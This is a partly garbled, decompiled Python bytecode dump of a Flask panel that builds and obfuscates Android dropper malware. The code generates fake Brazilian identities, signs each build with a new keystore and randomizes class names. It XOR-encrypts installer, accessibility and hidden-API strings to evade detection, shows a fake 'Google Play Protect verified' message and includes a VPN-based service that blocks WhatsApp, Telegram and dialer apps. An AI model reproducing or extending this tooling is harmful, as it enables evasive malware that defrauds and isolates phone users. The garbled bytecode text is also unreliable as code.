
    `j6                       d dl mZmZmZmZmZmZmZmZ d dl	Z	d dl
Z
d dlZd dlmZ d dlmZ d dlmZmZ d dlZd dlZd dlmZmZ d dlZd dlZd dlZd dlZd dlmZ de_         d dl!Z!d dl"Z"d dl#Z#d dl$Z$d dl%m&Z& g d	Z'g d
Z(d Z)d Z*d Z+dZ,g dZ-d Z.g dZ/g dZ0g dZ1g dZ2d Z3g dZ4g dZ5g dZ6g dZ7g dZ8g dZ9g dZ:g dZ;g dZ<g dZ=d  Z>d! Z?d" Z@d# ZAd$ ZBe,fd%ZCd& ZDd' ZEd( ZFd) ZGd* ZHd+ ZId, ZJ eeK      ZLe	j                  j                  e	j                  j                  e	j                  j                  eQ            d-d.      ZRe	j                  j                  eR      r6 eTeRd/      5 ZUeUj                         j                         eL_X        ddd       nq e!j                  d0      eL_X         e	j                  e	j                  j                  eR      d12        eTeRd3      5 ZUeUj                  eLj                         ddd       d4eLj                  d5<   d1eLj                  d6<   d1eLj                  d7<   d8eLj                  d9<    ed:;      eLj                  d<<   e	j                  j                  e	j                  j                  eQ            Z]e	j                  j                  e]d=      eLj                  d><   e	j                  j                  e]d?      eLj                  d@<   e	j                  j                  e]dA      eLj                  dB<   e	j                  j                  e]d-      Z^e	j                  j                  e^dC      Z_e	j                  j                  e^dD      Z`eLj                  d>   eLj                  d@   eLj                  dB   e^fD ]  Za e	j                  ead12        e	j                  j                  e]dE      Zbe	j                  j                  e]dF      Zce	j                  j                  e	j                  j                  e	j                  j                  eQ            dG      Zde	j                  j                  e]dH      Zee	j                  j                  e]dI      ZfdJZgi ZhdKZiddLZj ej                  dM      Zl e&em      ZndNZodOZp e&em      ZqdPZrdOZs ej                         Zud:dQdRdSdTdUdVdSdWdXdYdSdZZvi Zwd dlxZy eyj                  d[\      Z{dd]Z|d^ Z} ej                  e}d1_      Zej                          dd`Zda Z ej                         Zdb Zdc Zdd Zde Zdf Zdg Zdh Zdi Zdj Zdk Zdl Zdm Zdn Zdo Zdp Zdq ZdredsefdtZduedsefdvZddwZdx Zdy Zdd{ZeLj9                  d|      d}        ZeLj9                  d~      d        ZeLj9                  ddg      d        ZeLj9                  d      d        ZeLj9                  ddg      d        Zh dZd ZeLj9                  d      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  d      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  d      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  d      d        ZeLj9                  d      d        ZeLj9                  d      d        ZeLj9                  d      d        ZeLj9                  d      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  d      d        Zd Zd Zd Z	 	 ddZd	dZ	 ddZd Zd Zd ZeLj9                  d      d        ZeLj9                  d      d        ZeLj9                  ddg      dĄ        ZeLj9                  dū      dƄ        Zǐd
dǄZdȄ ZeLj9                  dɫ      dʄ        ZeLj9                  ddg      d̄        ZeLj9                  dͫ      d΄        ZeLj9                  dϫ      dЄ        ZeLj9                  dѫ      d҄        ZeLj9                  ddg      dԄ        ZeLj9                  ddg      dք        Zdׄ ZeLj9                  dث      dل        ZeLj9                  ddg      dۄ        ZeLj9                  dܫ      d݄        ZeLj9                  dޫ      d߄        ZeLj9                  ddg      d        Zd Z ej                  ed1_      Ze֐j                          d dlZeLj9                  d      d        ZeLj9                  d      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        ZeLj9                  ddg      d        Zd dl"Z eߐj                  d       eߐj                  d       eߐj                  d       eߐj                  d      gZ eߐj                  d      Zi Zh dZeLj                  d        Zd ZeLj                  d        ZdZh dZd dlZ ej                  d      Zej                  se ej                  e      Zej                   ej                  d             ej                  e       ej                  ej                         eLj                  d        ZeLj                  d      d        ZeLj                  d      d         ZeKdk(  reLj                  dzdd       yy# 1 sw Y   
MxY w# 1 sw Y   
ZxY w(      )Flaskrender_templaterequestjsonify	send_filesessionredirecturl_forN)secure_filename)generate_password_hashcheck_password_hashdatetime	timedelta)Imagei $ )defaultdict)AnaBrunoCarlosDanielaEduardoFernandaGabrielHelenaIgorJulianaKevinLarissaMarceloNataliaOtavioPatriciaRafaelSabrinaThiagoVanessaWilliamXimenaYuriZelia)SilvaSantosOliveiraSouzaLimaPereiraCostaCarvalhoFerreira	RodriguesAlmeida
NascimentoGomesMartinsAraujoMeloBarbosaRibeiroRochaCardosoCorreiaMendesFreitasc                  l    t        j                  t               dt        j                  t               S )N )randomchoice_NOMES_SOBRENOMES     /var/www/gangstar/app.py	_gen_nomerK      s'    mmF#$AfmmK&@%ABBrI   c                     t        d      D  cg c]  } t        j                  dd       c} t        fdt        d      D              dz  dz  }|dk\  rdn|}j	                  |       t        fdt        d      D              dz  dz  }|dk\  rdn|}j	                  |       dj                  t        t                    S c c} w )N	   r   c              3   4   K   | ]  }d |z
  |   z    yw)
   NrH   .0ins     rJ   	<genexpr>z_gen_cpf.<locals>.<genexpr>$   s     /b1f!_/   rO      c              3   4   K   | ]  }d |z
  |   z    yw)rV   NrH   rP   s     rJ   rT   z_gen_cpf.<locals>.<genexpr>'   s     0b1f!_0rU    )rangerD   randintsumappendjoinmapstr)_s1d1s2d2rS   s        @rJ   _gen_cpfre   "   s    ',Qx0!1	0A	/eAh/	/"	4r	9BBhBBHHRL	0eBi0	02	5	:BBhBBHHRL773sA; 	1s   Cc                  l    t        j                  g d      } dt        j                  dd       }| |z   S )N)
112131415161718185919i i)rD   rE   rZ   )dddnums     rJ   
_gen_phonert   ,   s3    
--K
LCfnnXx01
2C9rI   zcom.android.system.qspaas))zdev.akamai.workerT)znet.akamai.agentT)zio.gitlab.proxyT)zcom.android.systemT)zcom.cloudflare.sdkTc            	      0   t        j                  t              \  } }|r*ddj                  t        j                  dd            z   }nHdj                  t        j                  t
        j                  t        j                  dd                  }|  d| S )	NvrX   0123456789abcdef   k   rO   .)rD   rE   _PKG_PREFIXESr]   choicesstringascii_lowercaserZ   )prefixuse_vhexsuffixs      rJ   _gen_pkgr   =   st    }}]3FHrwwv~~.@AFGG(>(>&..QRTVBWXYXQvhrI   )AndroidSystem	DeveloperMobileCorePlatformApp)zAndroid Open SourcezMobile PlatformzApp DeveloperzCore SystemszPlatform DevzAndroid Dev)zMountain ViewzSan FranciscoSeattleAustinNew YorkzSan Jose)
California
WashingtonTexasr   Oregonc                     ddl } | j                  d      }t        j                  j	                  |d      }dj	                  t        j                  t        j                  t        j                  dd      	            }t        j                  d
      }t        t        j                  dd            }dt        j                  t               dt        j                  t               dt        j                  t                dt        j                  t"               d	}	 t%        j&                  ddd|ddddd|d|d|d|d|dgddd !      }|j(                  dk7  st        j                  j+                  |      s@t-        d"|j(                   d#|j.                  dd$         t1        j2                  |d%       yt-        d&| d'| d(       ||||fS # t4        $ r/}t-        d)|        t1        j2                  |d%       Y d}~yd}~ww xY w)*zjGera keystore RSA-2048 unico por build.
    Retorna (ks_path, alias, password, tmp_dir) ou None se falhar.r   Napkbld_r   zrelease.jksrX      rO   ry      i(#  i.  zCN=z, OU=Android, O=z, L=z, ST=z, C=USkeytoolz-genkeypairz-aliasz-keyalgRSAz-keysize2048z	-validityz	-keystorez
-storepassz-keypassz-dnamez	-nopromptT   capture_outputtexttimeoutz[keystore] keytool falhou rc=: ,  ignore_errorsz[keystore] gerado alias=z
 validity=dz[keystore] excecao: )tempfilemkdtempospathr]   rD   r~   r   r   rZ   secrets	token_hexr_   rE   _KS_CN_POOL
_KS_O_POOL
_KS_L_POOL_KS_ST_POOL
subprocessrun
returncodeexistsprintstderrshutilrmtree	Exception)	_tfks_dirks_pathaliaspasswordvaliditydnameres_es	            rJ   _generate_temp_keystorer   L   s    {{){,Fww||FM2Gwwv~~f&<&<qRT@UVWE  $H6>>$./H
fmmK() *]]:&' (]]:&' (mmK() *		 
nnuz6('8(u  dB
 >>QbggnnW&=1#..1ACJJtPSDTCUVWMM&5(z(1EFx// $RD)*fD1s   BG 9G 	H	%HH	)
CoreActivityAppActivityBaseActivityLaunchActivityConfigActivityHostActivityManagerActivityNetworkActivityServiceActivityStartActivity)
CoreServiceNetworkServiceManagerService
AppServiceDataServiceBackgroundServiceHelperServiceUpdateServiceTaskServiceWorkerService)CoreReceiverAppReceiverBootReceiverNetworkReceiverDataReceiverEventReceiverSyncReceiverTaskReceiver)
PackageHelper	AppHelper
CoreHelperServiceHelper
SyncHelper
DataHelper
TaskHelperWorkerHelperUpdateHelperNetworkHelper)
	CoreUtilsAppUtils	DataUtilsNetUtilsSysUtils	PlatUtils	BaseUtils	HostUtils	TaskUtils	WorkUtils)
CoreClient	AppClient
DataClient	NetClient	SysClient
PlatClient
BaseClient
HostClient)
AppCodec	DataCodec	ByteCodec	CoreCodecNetCodecSysCodec	PlatCodec	BaseCodec	HostCodec	TaskCodec)
	AppEngine
DataEngine
ByteEngine
CoreEngine	NetEngine	SysEngine
PlatEngine
BaseEngine
HostEngine
TaskEngine)
AppUtilDataUtilByteUtilCoreUtilNetUtilSysUtilPlatUtilHostUtilTaskUtilWorkUtil)
stopNowhaltServicekillNowshutdownNowterminateNow
endProcessstopProcesshaltNowcloseNowabortNowc           
      n
   t        j                  t              }t        j                  t              }t        j                  t              }t        j                  t
              }t        j                  t              }t        j                  t              }t        j                  t              }t        j                  t              }t        j                  t              }	t        j                  t              }
||||||d}t        d|        t        d| d|        t        j                  j                  | d      }g }t        j                   |      D ]2  \  }}}|D ]'  }|j#                  d      s|j%                  ||f       ) 4 |D ]  \  }}|}|j'                         D ]5  \  }}||dz   k(  s|j)                  |dz         s#|j+                  ||d      }7 ||k7  sV	 t        j,                  t        j                  j                  ||      t        j                  j                  ||              t        j                   |       D ]  \  }}}|D ]  }|j#                  d	      st        j                  j                  ||      }	 t1        |d
dd      5 }|j3                         }ddd       }|j'                         D ]  \  }}|j+                  ||      } ||k7  r(t1        |dd      5 }|j5                  |       ddd         d|fd|fd|	ffD ]  \  }}t        j                  j                  ||dz         }t        j                  j                  ||dz         }t        j                  j7                  |      sl	 t        j,                  ||        d| dd| dd|	 dd}t        j                   |       D ]  \  }}}|D ]  } | j#                  d	      st        j                  j                  ||       }!	 t1        |!d
dd      5 }"|"j3                         }#ddd       #}$|j'                         D ]  \  }%}&|$j+                  |%|&      }$ |$j+                  d|
      }$|$|#k7  r(t1        |!dd      5 }"|"j5                  |$       ddd         t        d| d| d|	 d|
        |
|d<   ||d<   |S # t.        $ r Y @w xY w# 1 sw Y   'xY w# 1 sw Y   xY w# t.        $ r Y w xY w# t.        $ r Y w xY w# 1 sw Y   xY w# 1 sw Y   xY w# t.        $ r Y ^w xY w)z9Renomeia classes internas com nomes do pool a cada build.)MainActivityVpnKillServiceRcvJbrznRedirectWatcherDrpJsBridgeRedirWvcz[cls_rename] z[cls_rename] bridge=z wvc=smali.smali$   r*  .xml.ymlrutf-8ignoreencodingerrorsNwr4  e0f0bL;)zLe0;zLf0;zLb;killInstantlyz[cls_rename] codec=z engine=z b64=z kill=_kill_codec)rD   rE   _CLS_MAIN_POOL_CLS_SVC_POOL_CLS_RCV_POOL_CLS_REDIR_POOL_CLS_BRIDGE_POOL_CLS_WVC_POOL_CLS_CODEC_POOL_CLS_ENGINE_POOL_CLS_B64_POOL_RND_KILL_POOLr   r   r   r]   walkendswithr\   items
startswithreplacerenamer   openreadwriter   )'dropper_worknew_mainnew_svcnew_rcv	new_redir
new_bridgenew_wvc	new_codec
new_enginenew_b64new_killrenames	smali_dir	all_smalirdr`   fsfnnew_fnold_clsnew_clsfpftxtnew_txt_oc_nc_op_np
_short_map_rd2_fs2_fn2_fp2_f2_t2_t2n_op2_np2s'                                          rJ   _randomize_class_namesry     s   n-Hm,Gm,Go.I/0J}-G/I/0J}-G~.H $""$%"G 
M'
#$	 E'
;<\73I IWWY' +	Ar 	+B{{8$  "b*	++
  	B ' 	=GW8++v/@/@3/O!<	= R<		"'',,r2.R0HI	 WW\* 	Ar 	B;;9:b"%B
"cGHE #&&(C#(/ @$GW%oogw?G@c>b#8 )A()	$ I&z(:S'NK Sggll9cHn5ggll9cHn577>>#		#s# i[*a
|14EPQRYQZZ[n]J. a 	D==!;<77<<d+D$ghG %3((*C%","2"2"4 4JD$<<d3D4||OX>3;dC': (c		$(	" 
	{(:,eG9FS[R\
]^GG!GHNg  # #) )   % %( ( s   (ASS/S0AS/7S"	S/S?T'T+AT'TT'	SSSS/"S,'S//	S<;S<?	TTTT'T$ T''	T43T4c                    t        j                  dt         j                        }t        j                  d      }d}t        j                  t        j
                  j                  | d            D ]  \  }}}|D ]  }|j                  d      st        j
                  j                  ||      }	 t        |ddd	      5 }	|	j                         }
d
d
d
       |j                  d
      }|j                  d|      }||
k7  rB|t        |
      t        |      z
  z  }t        |dd      5 }	|	j                  |       d
d
d
         t        d| d       y
# 1 sw Y   xY w# 1 sw Y   )xY w# t        $ r Y w xY w)z}Remove anotacoes de debug (.line, .source, .local, .prologue).
    Reduz tamanho do APK sem alterar comportamento em runtime.z^\s*(?:\.line\s+\d+|\.source\s+"[^"]*"|\.local\s+\S[^\n]*|\.end\s+local\s+\S[^\n]*|\.restart\s+local\s+\S[^\n]*|\.prologue)\s*\nz\n{3,}r   r)  r*  r0  r1  r2  r3  N
z

r6  r7  z[debug_strip] z bytes removidos de smali)recompile	MULTILINEr   rJ  r   r]   rK  rP  rQ  sublenrR  r   r   )rS  _pat_blankssavedra  r`   rb  rc  rg  rh  ri  rj  s               rJ   _strip_smali_debugr    s\    ::	 	
D jj#GEWWRWW\\,@A 	Ar 	B;;x(b"%B
"cGHE #&&(C#((4-!++fg6c>SXG44Eb#8 )A()	  
N5'!:
;<# #) ) sC   .E-=EAE-'E!9E-EE-!E*&E--	E:9E:c           	        () ddl ((fd))fd}d}t        j                  t        j                  j	                  | d            D ]8  \  }}}|D ])  }|dk(  s	t        j                  j	                  ||      } n |s8 n |st        d       yt        |dd	
      5 }|j                         }ddd       }	d}
d}||v r |j                  | |ddd      d      }|
dz  }
d}||v r |j                  | |ddd      d      }|
dz  }
d}||v r|j                  |dd      }|
dz  }
g d}|D ]*  \  }}||v s|j                  | |dd|      d      }|
dz  }
, d}||v r|j                  |dd      }|
dz  }
d}||v r |j                  | |ddd      d      }|
dz  }
d}||v r|j                  |dd      }|
dz  }
d }||v r#|j                  | |dd!d"      d#z   d      }|
dz  }
d$}||v r#|j                  | |dd!d%      d&z   d      }|
dz  }
d'}||v r#|j                  | |dd!d(      d)z   d      }|
dz  }
d*}||v r#|j                  | |dd!d+      d,z   d      }|
dz  }
d-}||v r#|j                  | |dd!d.      d/z   d      }|
dz  }
d0}||v r#|j                  | |dd!d1      d2z   d      }|
dz  }
d3}||v r#|j                  | |d4d5d6      d7z   d      }|
dz  }
d8}||v r#|j                  | |dd4d9      d:z   d      }|
dz  }
d;}||v r#|j                  | |d<dd=      d>z   d      }|
dz  }
d?}||v r#|j                  | |ddd@      dAz   d      }|
dz  }
dB}||v r#|j                  | |dd!dC      dDz   d      }|
dz  }
dE}||v r|j                  | |d<ddF      dGz   d      }dH}||v r |j                  | |dddI      d      }|
dz  }
dJ}||v r |j                  | |d<ddK      d      }|
dz  }
dL}||v r|j                  |dMd      }|
dz  }
dN}||v r#|j                  | |dddO      dPz   d      }|
dz  }
dQ}||v r#|j                  | |dddR      dSz   d      }|
dz  }
||	k7  rWt        |dTd	
      5 }|j                  |       ddd       t        dU|
 dVt        j                  j                  |              nt        dW       d}t        j                  t        j                  j	                  | d            D ]8  \  }}}|D ])  }|dXk(  s	t        j                  j	                  ||      } n |s8 n |rt        |dd	
      5 }|j                         }ddd       }d}dY}||v r|j                  |dZd      }|dz  }d[}||v r |j                  | |ddd\      d      }|dz  }d]}||v r |j                  | |ddd^      d      }|dz  }d_}||v r |j                  | |ddd`      d      }|dz  }da}||v r |j                  | |dddb      d      }|dz  }dc}||v r|j                  |ddd      }|dz  }de}||v r |j                  | |ddfdg      d      }|dz  }dh}||v r |j                  | |ddfdi      d      }|dz  }dj}||v r |j                  | |d<dfdO      d      }|dz  }||k7  r8t        |dTd	
      5 }|j                  |       ddd       t        dU| dk       nt        dl       d}t        j                  t        j                  j	                  | d            D ]8  \  }}}|D ])  }|dmk(  s	t        j                  j	                  ||      } n |s8 n |rRt        |dd	
      5 }|j                         }ddd       }d}dn}||v r|j                  |dod      }|dz  }dpD ]-  } dq|  dr}!|!|v s|j                  |! |dd|       d      }|dz  }/ t        j                  g ds      }"t        j                  g dt      }#t        j                  g du      }$dv|"d   fdw|#fdxdydz|"d   fd{|$ffD ]0  \  }%}&d||% dr}'|'|v s|j                  |' |d}d|&      d      }|dz  }2 ||k7  r8t        |dTd	
      5 }|j                  |       ddd       t        dU| d~       yt        d       yy# 1 sw Y   	xY w# 1 sw Y   CxY w# 1 sw Y   |xY w# 1 sw Y   xY w# 1 sw Y   jxY w# 1 sw Y   gxY w)zXOR-cifra strings suspeitas em MainActivity.smali (copia de trabalho).
    Usa registradores frescos (alem do .locals original) para evitar conflito
    de tipo no verificador Dalvik. Chave aleatoria por build.r   Nc           	         dj                  t        j                  t        j                  t        j
                  z   t        j                  dd                  }| j                  d      |j                  d      t        fdt        t                    D              }j                  |      j                         j                        j                         fS )NrX      r   ry   r1  c              3   L   K   | ]  }|   |t              z     z    y wNr  rQ   rR   kbpts     rJ   rT   z;_encrypt_smali_strings.<locals>._xor_enc.<locals>.<genexpr>3  &     DBqEBq3r7{O+D   !$)r]   rD   r~   r   ascii_lettersdigitsrZ   encodebytesrY   r  	b64encodedecode)	plain_strkey_rawencr  r  _b64s      @@rJ   _xor_encz(_encrypt_smali_strings.<locals>._xor_enc.  s    ''&..)=)=)M+1>>!R+@B Cw'nnW%DU3r7^DD~~c"))+T^^B-?-F-F-HHHrI   c                 H     |      \  }}d|  d| d| d| d|  d| d|  S )N    const-string , ""
    const-string "
    invoke-static {, zZ}, Le0;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    move-result-object rH   )ra  rkr  r  keyr  s        rJ   _blkz$_encrypt_smali_strings.<locals>._blk6  sR    I&St3se ,  "t3se ,##%$b -&&(T+	
rI   r)  MainActivity.smaliz4[enc_str] MainActivity.smali nao encontrado, pulandor0  r1  r7  z*    const-string v8, "getPackageInstaller"v8v10getPackageInstallerr,  z(    const-string v7, "MODE_FULL_INSTALL"v7MODE_FULL_INSTALLz8.method public final k()Ljava/lang/String;
    .locals 3z8.method public final k()Ljava/lang/String;
    .locals 4))zY    const-string v0, "To continue, enable installation from unknown sources in settings."zBTo continue, enable installation from unknown sources in settings.)z    const-string v0, "Para continuar, ative a permiss\u00e3o de instala\u00e7\u00e3o de fontes desconhecidas nas configura\u00e7\u00f5es."u_   Para continuar, ative a permissão de instalação de fontes desconhecidas nas configurações.)zi    const-string v0, "Per continuar, abilita l\'installazione da origini sconosciute nelle impostazioni."zQPer continuar, abilita l'installazione da origini sconosciute nelle impostazioni.)zm    const-string v0, "Pour continuer, activez l\'installation de sources inconnues dans les param\u00e8tres."uQ   Pour continuer, activez l'installation de sources inconnues dans les paramètres.)zq    const-string v0, "Para continuar, habilite la instalaci\u00f3n de or\u00edgenes desconocidos en los ajustes."uR   Para continuar, habilite la instalación de orígenes desconocidos en los ajustes.)zu    const-string v0, "Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen."z^Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen.v0v3z'.method public final l()V
    .locals 4z'.method public final l()V
    .locals 5z$    const-string v2, "Installing..."v2v4zInstalling...z'.method public final j()V
    .locals 9z=.method public final j()V
    .locals 10

    const/4 v9, 0x0z3    const-string v2, "forName"

    const/4 v3, 0x1v9forNamez

    const/4 v3, 0x1z=    const-string v4, "getDeclaredMethod"

    const/4 v6, 0x2getDeclaredMethodz

    const/4 v6, 0x2zJ    const-string v4, "dalvik.system.VMRuntime"

    aput-object v4, v1, v5zdalvik.system.VMRuntimez

    aput-object v4, v1, v5z=    const-string v7, "getRuntime"

    aput-object v7, v2, v5
getRuntimez

    aput-object v7, v2, v5zI    const-string v7, "setHiddenApiExemptions"

    aput-object v7, v6, v5setHiddenApiExemptionsz

    aput-object v7, v6, v5z4    const-string v4, "L"

    aput-object v4, v3, v5r;  z

    aput-object v4, v3, v5zP    const-string v11, "createSession"

    new-array v12, v8, [Ljava/lang/Class;v11v12createSessionz+

    new-array v12, v8, [Ljava/lang/Class;zM    const-string v7, "openSession"

    new-array v11, v8, [Ljava/lang/Class;openSessionz+

    new-array v11, v8, [Ljava/lang/Class;z5    const-string v1, "openWrite"

    const/4 v7, 0x3v1	openWritez

    const/4 v7, 0x3z    const-string v4, "android.content.IntentSender"

    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;zandroid.content.IntentSenderzY

    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;zG    const-string v7, "commit"

    new-array v9, v8, [Ljava/lang/Class;commitz*

    new-array v9, v8, [Ljava/lang/Class;zF    const-string v1, "close"

    new-array v3, v2, [Ljava/lang/Class;closez*

    new-array v3, v2, [Ljava/lang/Class;z    const-string v7, "PeriCred"PeriCredz<    const-string v1, "\u2713 Google Play Protect verificado""   ✓ Google Play Protect verificadoz;.method public onCreate(Landroid/os/Bundle;)V
    .locals 3z;.method public onCreate(Landroid/os/Bundle;)V
    .locals 4z1    const-string v0, "RETRY"

    const/4 v1, 0x0RETRYz

    const/4 v1, 0x0z~    const-string v0, "Retrying..."

    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)VzRetrying...z\

    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)Vr6  z
[enc_str] z patch(es) aplicados em z#[enc_str] nenhuma string encontradaRcvJbrzn.smaliz@.method public final b(Landroid/content/Context;)V
    .locals 8z@.method public final b(Landroid/content/Context;)V
    .locals 9z#    const-string v0, "connectivity"connectivityz    const-string v7, "activity"activityz7    const-string v8, "android.intent.category.LAUNCHER"z android.intent.category.LAUNCHERz>    const-string v0, "android.settings.ACCESSIBILITY_SETTINGS"z'android.settings.ACCESSIBILITY_SETTINGSzZ.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 5zZ.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 6z2    const-string v0, "android.intent.extra.INTENT"v5zandroid.intent.extra.INTENTz6    const-string v2, "android.content.pm.extra.STATUS"zandroid.content.pm.extra.STATUSz    const-string v1, "RETRY"z patch(es) em RcvJbrzn.smaliz)[enc_str] RcvJbrzn: nenhum patch aplicadozVpnKillService.smalizH.method public onStartCommand(Landroid/content/Intent;II)I
    .locals 4zH.method public onStartCommand(Landroid/content/Intent;II)I
    .locals 5)zcom.whatsappzcom.whatsapp.w4bzcom.gbwhatsappzorg.telegram.messengerzorg.telegram.messenger.webzcom.facebook.orcazcom.google.android.dialerzcom.android.dialerzcom.samsung.android.dialerzcom.miui.voiceassistz com.google.android.apps.meetingszcom.skype.raiderz    const-string v2, ""))10.0.0.210.0.0.1)z10.8.0.2z10.8.0.1)z
172.16.0.2z
172.16.0.1)z192.168.50.2z192.168.50.1)fd00::2zfd01::2zfd0a::2zfdff::2)ConnectivityNetworkSyncRuntimeServiceUpdate
NetSessionDataChannelr  r  )0.0.0.0r  )::r  r  r   z    const-string p3, "p3z" patch(es) em VpnKillService.smaliz/[enc_str] VpnKillService: nenhum patch aplicado)base64r   rJ  r   r]   r   rP  rQ  rN  rR  basenamerD   rE   )*rS  r  target_rdr`   _fs_fnrh  ri  originalpatched_old_lang
_old_smali_plain_rcv_target_rrd_rfs_rfn_rf_rtxt_rorig	_rpatched_vpn_target_vrd_vfs_vfn_vf_vtxt_vorig	_vpatched_old_loc_vpkg	_old_vpkg	_VPN_IPV4	_VPN_IPV6	_VPN_SESS	_vlit_old	_vlit_new	_old_vlitr  r  s*                                           @@rJ   _encrypt_smali_stringsr  (  s:    I
 Fwwrww||L'BC Q 	C**c3/	  DE	fcG	, ffh HG 8Ds{kk$T52G H!L15Ds{kk$T41D EqI1
 GDs{kk$ []^_1E $ 
F++j$tT6*BAFCqLG 6Ds{kk$ JAN11Ds{kk$T4 A1E1 6Ds{kk$ bdef1BDs{kk$T4 ;>W WYZ[1LDs{kk$T41D EHa acde1YDs{kk$T41J KNn npqr1LDs{kk$T4 >Aa acde1XDs{kk$T41I JMm mopq1 DDs{kk$T4 58X XZ[\1
 `Ds{kk$UE? CFu uwxy1\Ds{kk$T5- @Cr rtuv1DDs{kk$T4 =@Y Y[\]1 \Ds{kk$T41O P  Tq  !q  st  u1VDs{kk$T4 :=k kmno1UDs{kk$T4 9<j jlmn,Ds{kk$T4 <a@1JDs{kk$T41X Y[\]1 JDs{kk$ ^`ab1@Ds{kk$T4 9<U UWXY1 NDs{kk$T4 ?  Cc  !c  ef  g1
h&#0 	AGGCL	
7)#;BGG<L<LV<T;UVW34 KlG!DE a 	D'' ggll46	  +sW5 	HHJE		 S5=MM$(kmnoENI 55=MM$T4(H!LENI 15=MM$T5*(EqIENI I5=MM$T5:\(]_`aENI P5=MM$T5:c(dfghENI m5=MM$  )F  HI  JENI D5=MM$T49V(WYZ[ENI H5=MM$T49Z([]^_ENI .5=MM$T4(A1EENIF?k39 !S		% !Jyk)EFG=> KlG!DE a 	D-- ggll46	  +sW5 	HHJE		^uMM(,wyz{ENI
 	E 1q9IE!idD%1H!LQ		" MM #
 	 MM"NO	MM #
 	
 1&	""1&y!%
 	 Iy 11=IE!idD)1LaPQ		 F?k39 !S		% !Jyk)KLMCDo u z	 	"	 	x! !"	 	d! !sH   b5/cc:c0c)>c65b?ccc&)c36c?c           	      L   ddl ddl|j                  dd      }|j                  dd      }|j                  dd      }|j                  dd      }|j                  dd	      }d
| dfdfd}d}t        j                  t        j
                  j                  | d            D ]:  \  }	}
}|D ]+  }||dz   k(  st        j
                  j                  |	|      }- |s: n |st        d       yt        |dd      5 }|j                         }ddd       }d}d}||v r|j                  |dd      }|dz  }d| d}||v r#|j                  | |ddd|z         d      }|dz  }d| d}||v r |j                  | |dd|      d      }|dz  }d| d}||v r#|j                  | |dd d|z         d      }|dz  }d| d}||v r#|j                  | |dd d|z         d      }|dz  }d| d}||v r#|j                  | |dd d|z         d      }|dz  }||k7  r;t        |d!d      5 }|j                  |       ddd       t        d"| d#| d       nt        d$       d}t        j                  t        j
                  j                  | d            D ]:  \  }}
}|D ]+  }||dz   k(  st        j
                  j                  ||      }- |s: n |rt        |dd      5 }|j                         }ddd       }d}d%}||v r|j                  |d&d      }|dz  }d'}||v r|j                  |d(d      }|dz  }d)| d}||v r(|j                  | |d*dd|z         d      }|dz  }||v r(d| d}||v r#|j                  | |dd+d|z         d      }|dz  }||k7  r;t        |d!d      5 }|j                  |       ddd       t        d,| d#| d       yt        d-       yy# 1 sw Y   xY w# 1 sw Y   xY w# 1 sw Y   xY w# 1 sw Y   PxY w).ao  Cifra pos-rename os literais de reflexao/nome-de-componente no receiver.
    Roda DEPOIS de _randomize_class_names: os nomes renomeados (.AppService,
    stopProcess, .MainActivity, .RcvJbrzn) ficariam em texto puro no smali,
    entregando a assinatura de reflexao do dropper. XOR-cifrados via codec
    (ja renomeado) e decodificados em runtime. Nao altera o fluxo.r   Nr%  r$  r#  r>  r  r?  r  r;  r<  c           	         dj                  t        j                  j                  j                  z   t        j
                  dd                  }| j                  d      |j                  d      t        fdt        t                    D              }j                  |      j                         j                        j                         fS )NrX   r  r   ry   r1  c              3   L   K   | ]  }|   |t              z     z    y wr  r  r  s     rJ   rT   z>_encrypt_receiver_strings.<locals>._xor_enc.<locals>.<genexpr>  r  r  )r]   rD   r~   r  r  rZ   r  r  rY   r  r  r  )plainr  r  r  r  r  _strs      @@rJ   r  z+_encrypt_receiver_strings.<locals>._xor_enc  s    ggfnnT%7%7$++%EXY[]I^_`\\'"G)<BDU3r7^DD~~c"))+T^^B-?-F-F-HHHrI   c                 N     |      \  }}d|  d| d| d| d|  d| d d|  S )Nr  r  r  r  r  z}, zS->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    move-result-object rH   )ra  r  r  r  r  r  	codec_refs        rJ   r  z'_encrypt_receiver_strings.<locals>._blk  sX    E?S#B4s3% 0$$&4s3% 0'')d"RDYK @**,/ 	0rI   r)  r*  z*[enc_rcv] receiver nao encontrado, pulandor0  r1  r7  z@.method public final c(Landroid/content/Context;)V
    .locals 6z@.method public final c(Landroid/content/Context;)V
    .locals 7r,  z    const-string v0, ".r  r  r  r|   z    const-string v3, "r  z    const-string v5, ".r  v6r6  z
[enc_rcv] z patch(es) em z[enc_rcv] nenhum patch aplicadoz'.method public final M()V
    .locals 3z'.method public final M()V
    .locals 4z).method public onDestroy()V
    .locals 3z).method public onDestroy()V
    .locals 4z    const-string v2, ".r  r  z[enc_main] z'[enc_main] nenhum patch em MainActivity)r  r   getr   rJ  r   r]   r   rP  rQ  rN  rR  )rS  r^  rV  rU  rT  r]  rZ  r  r  r  r`   r  r  r  torigrS   r  _main_target_mrd_mfs_mfn_mfmtmorigmnr  r  r  r  s                             @@@@rJ   _encrypt_receiver_stringsr
    s    *J
